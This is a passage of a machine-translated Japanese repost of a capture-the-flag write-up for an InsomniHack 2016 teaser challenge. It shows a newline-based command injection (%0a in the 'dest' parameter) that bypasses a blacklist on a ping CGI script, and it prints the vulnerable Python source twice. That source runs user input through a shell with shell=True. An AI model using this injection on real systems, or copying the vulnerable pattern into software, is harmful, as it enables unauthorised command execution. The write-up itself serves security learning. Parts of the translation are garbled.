ホームページ  >  記事  >  ウェブフロントエンド  >  InsomniHack 2016 CTF ティーザー – ノイズをもたらす Crypto 200 WriteUp_html/css_WEB-ITnose

InsomniHack 2016 CTF ティーザー – ノイズをもたらす Crypto 200 WriteUp_html/css_WEB-ITnose

WBOY
WBOYオリジナル
2016-06-21 08:57:221565ブラウズ

友人の問題解決を手伝ってください 長い間ブログが更新されていなかったことを思い出したので書いてみました。

URL を教えてください。通常の思考に従ってフラグを取得するように求められます... (これをプレイするときに通常の思考に従う 2333333 についてすぐに文句を言いました...)

Give Web ページでは、他のホストに ping を実行して、結果を表示できます。

この段階では、単なる推測に相当し、ほぼリモートでコードが実行されます。次に、一般的な注入テストを開始しましたが、そのほとんどがフィルタリングされていることがわかりました。

幸いなことに、改行文字は禁止されておらず、Unix では区切り文字としても使用できます。

案の定、現在のディレクトリを一覧表示できます...そして、プロデューサーの頭脳の欠如について不平を言い始めます.... (後でわかります)

次に、このページが GET/POST リクエストを同時にサポートしていることがわかり、この CGI の内容を読み取るためのインジェクション ステートメントを作成しました:

?dest=%0acat

Python

#!/usr/bin/env python import cgi, subprocess, os headers = ["mod_cassette_is_back/0.1","format-me-i-im-famous","dirbuster.will.not.help.you","solve_me_already"] print "X-Powered-By: %s" % headers[os.getpid()%4]print "Content-type: text/html"print print """<html> <head><title>Can I haz Smart Cat ???</title></head> <body><h3> Smart Cat debugging interface</h3>""" blacklist = " $;&|({`\t"results = ""form = cgi.FieldStorage()dest = form.getvalue("dest", "127.0.0.1")for badchar in blacklist:if badchar in dest:results = "Bad character %s in dest" % badcharbreak if "%n" in dest:results = "Segmentation fault" if not results:try:results = subprocess.check_output("ping -c 1 "+dest, shell=True)except:results = "Error running " + "ping -c 1 "+dest  print """ <form method="post" action="index.cgi">Ping destination: <input type="text" name="dest"/></form> Ping results:<pre class="brush:php;toolbar:false">%s
""" % cgi.escape(results)
#!/usr/bin/env python import cgi, subprocess, os headers = ["mod_cassette_is_back/0.1","format-me-i-im-famous","dirbuster.will.not.help.you","solve_me_already"] print "X-Powered-By: %s" % headers[os.getpid()%4]print "Content-type: text/html"print print """<html> <head><title>Can I haz Smart Cat ???</title></head> <body><h3> Smart Cat debugging interface</h3>""" blacklist = " $;&|({`\t"results = ""form = cgi.FieldStorage()dest = form.getvalue("dest", "127.0.0.1")for badcharin blacklist:if badcharin dest:results = "Bad character %s in dest" % badcharbreak if "%n" in dest:results = "Segmentation fault" if not results:try:results = subprocess.check_output("ping -c 1 "+dest, shell=True)except:results = "Error running " + "ping -c 1 "+dest  print """ <form method="post" action="index.cgi">Ping destination: <input type="text" name="dest"/></form> Ping results:<pre class="brush:php;toolbar:false">%s
""" % cgi.escape(results)

OK、Python スクリプトであることが判明しました。

その後ls -R が使えない原因は TAB とスペースのせいだと判明しました フィルタリングされていました....

しかし、他の方法は使えないと言う人がいなかったので、新しい方法を考えましたフォーラムのマスターが言及した: 検索

製造業者、あなたは陰謀に満ちています...呪ってください...

次に、コピーして貼り付けます。旗ファイルを入手してください。ニマ ウェイマオは猫です.... ...233333333333この旗は一体何ですか?

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。